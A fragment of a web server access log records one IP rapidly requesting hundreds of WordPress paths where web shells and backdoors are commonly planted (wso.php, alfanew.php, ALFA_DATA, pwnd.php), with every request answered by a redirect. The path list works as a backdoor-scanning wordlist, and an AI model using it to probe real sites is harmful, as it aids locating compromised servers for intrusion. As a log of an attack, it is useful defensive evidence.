/wp-admin/css/colors/coffee/themes.php.hacked HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:30 -0400] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:30 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:31 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:31 -0400] "GET /moderator.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:31 -0400] "GET /wp-content/plugins/pxkxbea/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:32 -0400] "GET /wp-includes/Requests/library/don.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:32 -0400] "GET /wp-admin/css/colors/blue/blkcdojh.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:32 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:33 -0400] "GET /download_file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:33 -0400] "GET /.well-known/pki-validation/a.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:33 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:34 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:34 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:34 -0400] "GET /wp-admin/home.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:35 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:35 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:35 -0400] "GET /register.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:36 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:36 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:36 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:37 -0400] "GET /css_editor.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:37 -0400] "GET /wp-includes/sodium_compat/namespaced/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:38 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:38 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:38 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:39 -0400] "GET /.well-known/pki-validation/ckyocyyp.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:39 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:39 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:40 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:40 -0400] "GET /wp-content/plugins/zupqfup/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:40 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:41 -0400] "GET /r3x.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:41 -0400] "GET /wp-content/plugins/gvkyvhp/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:41 -0400] "GET /wp-includes/js/e3B6W/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:42 -0400] "GET /uploads/blog/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:42 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:42 -0400] "GET /js_editor.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:42 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:43 -0400] "GET /wp-includes/class-ftps.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:43 -0400] "GET /network.php999 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:43 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:44 -0400] "GET /wp-content/themes/config HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:44 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:44 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:45 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:45 -0400] "GET /wp-includes/SimplePie/Exception-class.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:45 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:46 -0400] "GET /wp-content/uploads/init HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:46 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:46 -0400] "GET /checkout.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:47 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:47 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:47 -0400] "GET /wp-admin/maint/src_api.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:48 -0400] "GET /wp-content/themes/setup HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:48 -0400] "GET /wordpress/wp-content/plugins/erfd/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:48 -0400] "GET /.well-known/pki-validation/mar.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:49 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:49 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:49 -0400] "GET /wp-content/uploads/2016/03/wp-admin-block.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:49 -0400] "GET /de/internet.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:50 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:50 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:50 -0400] "GET /blog/blog.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:51 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:51 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:51 -0400] "GET /wp-content/plugins/lwgvais/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:52 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:52 -0400] "GET /wp-includes/random_compat/bala.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:52 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:52 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:53 -0400] "GET /template.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:53 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:53 -0400] "GET /wp-content/uploads/themes.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:54 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:54 -0400] "GET /.well-known/pki-validation/content.php.suspected HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:54 -0400] "GET /wp-admin/uploads/setup HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:54 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:55 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:55 -0400] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:55 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-github.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:56 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:56 -0400] "GET /wp-content/uploads/config HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:56 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:57 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:57 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:57 -0400] "GET /firewall.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:58 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:58 -0400] "GET /gallery_view.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:58 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:58 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:59 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:59 -0400] "GET /wp/menu.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:53:59 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:00 -0400] "GET /rc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:00 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:00 -0400] "GET /wp-content/themes/twentyseventeen/page/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:02 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:02 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:02 -0400] "GET /wp-content/themes/jhie8k08/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:03 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:03 -0400] "GET /restricted.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:03 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:04 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:04 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:04 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:05 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:05 -0400] "GET /wp-includes/Text/7ayddz.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:06 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:06 -0400] "GET /wp-content/themes/phocsqfz/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:07 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:07 -0400] "GET /wp-includes/assets/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:07 -0400] "GET /superadmin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:08 -0400] "GET /wp-content/uploads/2014/06/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:08 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:09 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:09 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:09 -0400] "GET /bypass.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:10 -0400] "GET /project/plugins/bootstrap-rtl/css/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:10 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:11 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:11 -0400] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:11 -0400] "GET /wp-content/uploads/2023/05/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:12 -0400] "GET /author.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:12 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:12 -0400] "GET /user.php3 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:13 -0400] "GET /wp-includes/ID3/module.tag.id3v3.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:13 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:13 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:14 -0400] "GET /wp/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:14 -0400] "GET /aleXus.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:14 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:15 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:16 -0400] "GET /css/dist/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:16 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:17 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:17 -0400] "GET /wp-content/plugins/td-cloud-library/includes/dir/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:18 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:18 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:18 -0400] "GET /wp-content/plugins/setup HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:19 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:19 -0400] "GET /wp-admin/ccx/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:19 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:20 -0400] "GET /wp-content/plugins/pahidtd/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:20 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:21 -0400] "GET /wp-content/plugins/kfhfxvy/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:21 -0400] "GET /.well-known/themes HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:21 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:22 -0400] "GET /wordpress/wp-content/themes/as/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:22 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:22 -0400] "GET /baja.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:22 -0400] "GET /wp-includes/mah.php999 HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:23 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:23 -0400] "GET /webhook.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:23 -0400] "GET /wp-content/uploads/BbUMY/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:24 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:24 -0400] "GET /wp-content/plugins/backup-backup/includes/1155949024...php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:24 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:25 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:25 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:25 -0400] "GET /wp-includes/rest-api/network.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:26 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:26 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:26 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:27 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:27 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:28 -0400] "GET /wp-content/plugins/upme/ajax/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:28 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:28 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:29 -0400] "GET /wp-content/uploads/revslider/templates/creativefrontpage/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:29 -0400] "GET /wordpress/wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:29 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:30 -0400] "GET /plugins/three-column-screen-layout/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:30 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:31 -0400] "GET /wp-includes/Text/Diff/Engine/aaa.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:31 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:32 -0400] "GET /security.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:32 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:32 -0400] "GET /wp/wp-admin/includes/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:33 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:33 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:33 -0400] "GET /wp-content/themes/fswefy0o/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:34 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:34 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:35 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:35 -0400] "GET /gallery_upload.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:35 -0400] "GET /wp-includes/Requests/about.php/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:36 -0400] "GET /wp-content/plugins/trfree/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:36 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:37 -0400] "GET /wp-content/uploads/2023/10/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:37 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:37 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:38 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:38 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:38 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:39 -0400] "GET /wp-content/uploads/--wp-lgj.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:39 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:40 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:40 -0400] "GET /config_save.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:41 -0400] "GET /wp-content/plugins/idjnpjx/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:41 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:42 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 18.223.108.59 - - [14/Apr/2025:10:54:42 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 52.184.145.227 - - [14/Apr/2025:10:54:42 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:42 -0400] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:43 -0400] "GET /wp-includes/js/tinymce/langs/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:43 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:44 -0400] "GET /wp-includes/pomo/user-new.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:44 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:44 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:45 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:45 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:45 -0400] "GET /upload2/10-27-24_8:26_1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:46 -0400] "GET /optimizer.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:46 -0400] "GET /wp-content/plugins/wso.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:46 -0400] "GET /introduction.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:47 -0400] "GET /wp-content/plugins/nloisib/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:47 -0400] "GET /wp-includes/konten/ HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:47 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:48 -0400] "GET /wp-content/uploads/2014/03/smile.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:48 -0400] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:49 -0400] "GET /cart.php HTTP/1.1" 301 795 "-" "-" 52.184.145.227 - - [14/Apr/2025:10:54:49 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 